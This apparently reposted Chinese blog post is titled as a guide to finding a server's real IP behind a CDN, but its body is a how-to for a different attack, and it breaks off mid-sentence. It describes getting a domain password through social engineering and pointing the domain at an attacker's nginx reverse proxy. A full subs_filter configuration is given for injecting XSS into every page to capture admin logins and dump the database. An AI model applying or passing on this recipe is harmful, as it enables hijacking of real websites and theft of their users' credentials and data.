绕cnd获取真实ip(怎么查cdn服务器ip)
时间:2023-10-29 13:51:43 浏览量:30
思路来源于https://www.t00ls.net/thread-37421-1-1.html, 这个帖子里讨论的。
假如我们运气好社工到了域名密码能否做一个类似CND加速代理的东西,把域名解析到我们自己的服务器,然后在我们自己服务器上监控数据截取后台地址及密码等敏感信息。
答案肯定是可以的,而且nginx反代是最方便的玩法,但仅仅获取管理密码,会不会太无聊了?
脱裤理论上也是可以的~
这样即使拿不到服务器权限,也可以危害到数据库。
思路大概是这样:
获取到域名或dns权限-配置cname 或者a解析到自己的反代服务器-反代替换所有数据包加入xss代码-获取到登录表单
0x01 nginx反代配置
替换包内容可以用ngx_http_subs_filter_module来解决,效果都是差不多的。
具体的安装过程和普通的三方模块一样
不会的可以参考:http://www.cnblogs.com/dudu/p/nginx-subs_filter.html
安装过程不再赘述
配置
新建一个站点的配置文件,
在/etc/nginx/nginx.config中配置subs_filter
如下内容
server
{
listen 80;
server_name www.反代服务器.com;
location / {
proxy_pass http://www.目标服务器.cn;
proxy_redirect off;
proxy_cache nuget-cache;
proxy_cache_valid 168h;
proxy_ignore_headers Set-Cookie Cache-Control;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
subs_filter 11001072 123456789;
index index.html index.htm index.php;
}
}
这里的subs_filter 11001072是网站上需要替换的代码, 123456789是你想替换上去的内容
一般就替换